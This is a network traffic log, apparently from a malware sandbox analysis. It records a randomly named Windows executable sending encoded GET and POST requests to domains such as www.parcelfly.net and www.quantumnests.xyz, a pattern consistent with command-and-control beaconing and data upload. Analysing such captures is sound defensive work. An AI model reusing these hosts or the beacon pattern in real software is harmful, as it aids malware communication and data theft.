Sep 14, 2024 11:12:50.944468021 CEST	1236	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 33 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 33 32 30 20 32 Data Ascii: ath class="st2" d="M330 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M320 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M310 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M300 282.4h-3l-6.8 25.2h3z"/> <path class="st2"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	162.0.239.141	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:12:52.866863966 CEST	514	OUT	GET /vnd3/?gd=xYBn5zztkuVfiCwnPAPX5/Vc6KcZvMqR03XK+4rS3g0RcyLb68RvZiy9qVH4+ViXNRgW3ur8wHahmEpIZ6ERXhxrpvJyNz8FMq3GCQE2JNk4pLMM9VfXXZw=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.quantumnests.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:12:53.457520008 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sat, 14 Sep 2024 09:12:53 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 14, 2024 11:12:53.457551956 CEST	1236	IN	Data Raw: 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 Data Ascii: .2s54.7-28 117.5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d=
Sep 14, 2024 11:12:53.457582951 CEST	1236	IN	Data Raw: 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 Data Ascii: class="st2" d="M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d=
Sep 14, 2024 11:12:53.457593918 CEST	1236	IN	Data Raw: 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: .2h3z"/> <path class="st2" d="M419.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M429.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M439.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M449.8 282.4h-3l-6.8 25.2h3z"/> <p
Sep 14, 2024 11:12:53.457607985 CEST	896	IN	Data Raw: 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 37 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 Data Ascii: > <path class="st2" d="M870 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M860 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M850 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M840 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 14, 2024 11:12:53.457627058 CEST	1236	IN	Data Raw: 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 31 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 Data Ascii: s="st2" d="M710 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M700 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M690 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M680 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M670 282.4h-
Sep 14, 2024 11:12:53.457643032 CEST	1236	IN	Data Raw: 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 Data Ascii: <path class="st2" d="M-430.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-420.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-410.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-400.2 282.4h-3l-6.8 25.2h3z"/>
Sep 14, 2024 11:12:53.457653999 CEST	1236	IN	Data Raw: 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 32 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a Data Ascii: .4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-220.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-210.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-200.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-190.2 282.4h
Sep 14, 2024 11:12:53.457663059 CEST	104	IN	Data Raw: 32 22 20 64 3d 22 4d 2d 32 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d Data Ascii: 2" d="M-20.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-10.2 282.4h-3l-6.8 25.2h3z"/> <
Sep 14, 2024 11:12:53.457674980 CEST	1236	IN	Data Raw: 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 35 30 30 20 Data Ascii: path class="st2" d="M-.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M500 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M490 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M480 282.4h-3l-6.8 25.2h3z"/> <path class="st2
Sep 14, 2024 11:12:53.462788105 CEST	1236	IN	Data Raw: 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 39 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c Data Ascii: 25.2h3z"/> <path class="st2" d="M290 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M280 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M270 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M260 282.4h-3l-6.8 25.2h3z"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	84.32.84.32	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:13:06.679667950 CEST	775	OUT	POST /n59g/ HTTP/1.1 Host: www.parcelfly.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.parcelfly.net Referer: http://www.parcelfly.net/n59g/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 30 72 50 6b 31 67 36 38 4e 31 5a 33 4f 57 33 6a 38 4c 73 73 6c 67 66 58 77 55 70 69 2b 6e 68 44 37 53 65 57 4b 30 63 2f 34 61 32 37 32 64 61 55 46 79 7a 65 32 46 5a 61 57 57 58 38 69 6b 6d 77 7a 7a 71 6a 6b 72 6d 67 73 6f 34 44 41 57 72 66 39 34 34 76 70 74 48 77 32 73 4b 6c 37 32 50 71 39 43 53 46 44 4a 68 30 51 35 74 74 55 4c 70 54 59 70 39 4b 4f 38 58 4b 6d 42 44 41 6b 51 49 74 4f 31 6c 75 2f 64 30 59 66 7a 70 31 31 76 68 36 39 76 51 46 33 68 6b 63 31 30 55 51 6b 49 61 47 53 49 52 59 4d 7a 72 34 51 4f 62 42 38 54 47 65 73 67 6b 78 65 76 68 6f 45 6b 51 52 71 77 4f 63 4a 51 3d 3d Data Ascii: gd=0rPk1g68N1Z3OW3j8LsslgfXwUpi+nhD7SeWK0c/4a272daUFyze2FZaWWX8ikmwzzqjkrmgso4DAWrf944vptHw2sKl72Pq9CSFDJh0Q5ttULpTYp9KO8XKmBDAkQItO1lu/d0Yfzp11vh69vQF3hkc10UQkIaGSIRYMzr4QObB8TGesgkxevhoEkQRqwOcJQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	84.32.84.32	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:13:09.228080988 CEST	795	OUT	POST /n59g/ HTTP/1.1 Host: www.parcelfly.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.parcelfly.net Referer: http://www.parcelfly.net/n59g/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 30 72 50 6b 31 67 36 38 4e 31 5a 33 63 6e 48 6a 35 6f 55 73 6e 41 66 57 31 55 70 69 77 33 68 48 37 53 43 57 4b 78 6b 76 34 6f 69 37 33 38 71 55 45 33 50 65 78 46 5a 61 5a 32 57 32 6d 6b 6d 72 7a 30 6a 41 6b 70 79 67 73 6f 63 44 41 54 58 66 39 4c 51 73 70 39 48 79 35 4d 4b 6e 31 57 50 71 39 43 53 46 44 4a 63 76 51 36 64 74 56 36 5a 54 4b 37 46 46 48 63 58 4c 68 42 44 41 67 51 49 68 4f 31 6c 63 2f 59 51 79 66 78 68 31 31 76 78 36 38 39 30 45 38 68 6b 53 37 55 56 35 33 4b 4c 65 54 35 39 4a 52 52 44 41 57 75 6a 74 39 56 58 45 39 52 46 6d 4d 76 46 62 5a 6a 5a 6c 6e 7a 7a 56 53 61 57 5a 6f 32 6e 2b 4a 74 41 31 34 62 64 47 36 38 62 30 71 55 6f 3d Data Ascii: gd=0rPk1g68N1Z3cnHj5oUsnAfW1Upiw3hH7SCWKxkv4oi738qUE3PexFZaZ2W2mkmrz0jAkpygsocDATXf9LQsp9Hy5MKn1WPq9CSFDJcvQ6dtV6ZTK7FFHcXLhBDAgQIhO1lc/YQyfxh11vx6890E8hkS7UV53KLeT59JRRDAWujt9VXE9RFmMvFbZjZlnzzVSaWZo2n+JtA14bdG68b0qUo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	84.32.84.32	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:13:11.773127079 CEST	10877	OUT	POST /n59g/ HTTP/1.1 Host: www.parcelfly.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.parcelfly.net Referer: http://www.parcelfly.net/n59g/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 30 72 50 6b 31 67 36 38 4e 31 5a 33 63 6e 48 6a 35 6f 55 73 6e 41 66 57 31 55 70 69 77 33 68 48 37 53 43 57 4b 78 6b 76 34 6f 36 37 32 4b 65 55 46 55 6e 65 77 46 5a 61 55 57 57 31 6d 6b 6e 78 7a 79 4c 63 6b 70 2b 61 73 71 55 44 42 78 50 66 37 36 51 73 6d 39 48 79 68 4d 4b 6d 37 32 4f 79 39 43 43 4a 44 4a 73 76 51 36 64 74 56 34 42 54 4a 70 39 46 4c 38 58 4b 6d 42 44 48 6b 51 4a 30 4f 78 78 6d 2f 59 55 49 65 42 42 31 31 4f 42 36 2f 4f 51 45 31 68 6b 51 38 55 56 68 33 4b 48 2f 54 35 77 6c 52 52 62 6d 57 74 2f 74 38 78 2b 38 69 54 4e 37 65 74 64 54 62 68 78 77 70 53 54 48 62 35 4b 6a 76 6d 2f 4b 56 75 38 66 31 4a 55 51 76 75 65 32 78 45 5a 64 79 74 72 52 53 42 66 63 4d 63 50 38 33 53 39 56 49 6e 4e 34 49 59 64 34 79 77 77 70 30 6a 69 6b 67 62 2b 32 76 32 2f 2b 73 64 69 6c 7a 30 53 4a 55 4e 31 37 57 6e 61 30 30 37 4e 6a 6f 68 4c 46 6d 42 6c 33 76 2f 44 47 6a 5a 57 6a 66 46 52 37 34 6f 79 50 4e 2f 69 69 50 49 39 69 62 4f 67 62 59 51 74 64 6a 37 46 55 75 76 63 6f 42 4e 61 64 33 41 4d 72 70 39 50 [TRUNCATED] Data Ascii: gd=0rPk1g68N1Z3cnHj5oUsnAfW1Upiw3hH7SCWKxkv4o672KeUFUnewFZaUWW1mknxzyLckp+asqUDBxPf76Qsm9HyhMKm72Oy9CCJDJsvQ6dtV4BTJp9FL8XKmBDHkQJ0Oxxm/YUIeBB11OB6/OQE1hkQ8UVh3KH/T5wlRRbmWt/t8x+8iTN7etdTbhxwpSTHb5Kjvm/KVu8f1JUQvue2xEZdytrRSBfcMcP83S9VInN4IYd4ywwp0jikgb+2v2/+sdilz0SJUN17Wna007NjohLFmBl3v/DGjZWjfFR74oyPN/iiPI9ibOgbYQtdj7FUuvcoBNad3AMrp9Pi6thlHMxMxoKXjmOnk3UpV6SSJc7seTvETxMnExsLNThsj5c4Cp82y1K401JGr0UOIXPffUMdcr/c7e5/9KZncFbRQkQE6oUYiNGatttiBLUq4BjH02fiDQ1ltnPYqGmlHFZi+iEl3am7YEqzAyNuxVTjDfBYVYvu652m6gevI804UPFXMP2oiJM8Wu+MYc+AeEZ6jSjdd1h+EHI4QJYremExazWWYufzAtvsdtaKF7Q6rtD/a/DRiqF9HmXhvV+3pejFeL/jyZRP1XJQLYDzsLsdHKkhLki+I1CE0TkLdXPkzFDfp3UW4TfzolbZAqlM0xPsSd01xJroiO7loo0TutOjzX3QOwaZ0dFzhmXnaQJWBMpEUqlV0jsFs2rgp0S8FrRxpGGRqmM1FOoeYVu+cfRV1/aK7R+IiB2YRx5N7w+QNWjyAgC6eeCrgaiT6++LMc5k1d7Cw3eUxqqdsvtr6kA4R3e3sZNkEPLj7Gqv77zURW5Y1MP7o+WAmx8RXk+qOd0lIH0VLeQj183jWrNo7g2V25VSOvBBfkiGW87WbHQVhbV9ads+hCzxU40UwhMbD/MEICuV0pnKRrZ7W9vxZoUKLKQW7O0h1qNprQHwmxHF1ksPtUMLI+5SlHKzjGXpGK//R5w+q83qTZC/BjjaRCLLQHR9hXdEa [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	84.32.84.32	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:13:14.399672031 CEST	511	OUT	GET /n59g/?a0=_6Edzvj0xtFLdH&gd=5pnE2UHiCW8ObGXd+5watRyj/n5k8DcBtxaudhAi15+uyfG3JVq1h0FDH1nQvWuKz1Kon5CV4Z0icGbf56g2ndPNw6uI/UGywwOjVsQmNLB0fJ9Ua+cFGcM= HTTP/1.1 Host: www.parcelfly.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:13:14.891726017 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Sat, 14 Sep 2024 09:13:14 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 604a0cbc6bad5e4425aee0ed9093924d-bos-edge2 Expires: Sat, 14 Sep 2024 09:13:13 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Sep 14, 2024 11:13:14.891815901 CEST	224	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:3
Sep 14, 2024 11:13:14.891834021 CEST	1236	IN	Data Raw: 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 68 33 7b 66 6f 6e 74 Data Ascii: 0px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-weight:600;line-height:28px}hr{margin-top:35px;margin-bottom:35px;border:0;border-top:1px solid #bfbebe}ul{list-style-type:none;margin:0;padding:
Sep 14, 2024 11:13:14.891849041 CEST	1236	IN	Data Raw: 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 7b 63 6f 6c 6f Data Ascii: align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bottom:16px}.message{width:60%;height:auto;padding:40px 0;align-items:baseline;border-radius:5px
Sep 14, 2024 11:13:14.891864061 CEST	1236	IN	Data Raw: 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 Data Ascii: -align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}.container{margin-top:30px}.navbar-links{dis
Sep 14, 2024 11:13:14.891877890 CEST	1236	IN	Data Raw: 66 6f 6c 6c 6f 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c Data Ascii: follow><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.c
Sep 14, 2024 11:13:14.891892910 CEST	1236	IN	Data Raw: 6c 79 20 66 61 73 74 2c 20 73 65 63 75 72 65 20 61 6e 64 20 75 73 65 72 2d 66 72 69 65 6e 64 6c 79 20 77 65 62 73 69 74 65 20 68 6f 73 74 69 6e 67 20 66 6f 72 20 79 6f 75 72 20 73 75 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 Data Ascii: ly fast, secure and user-friendly website hosting for your successful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=co
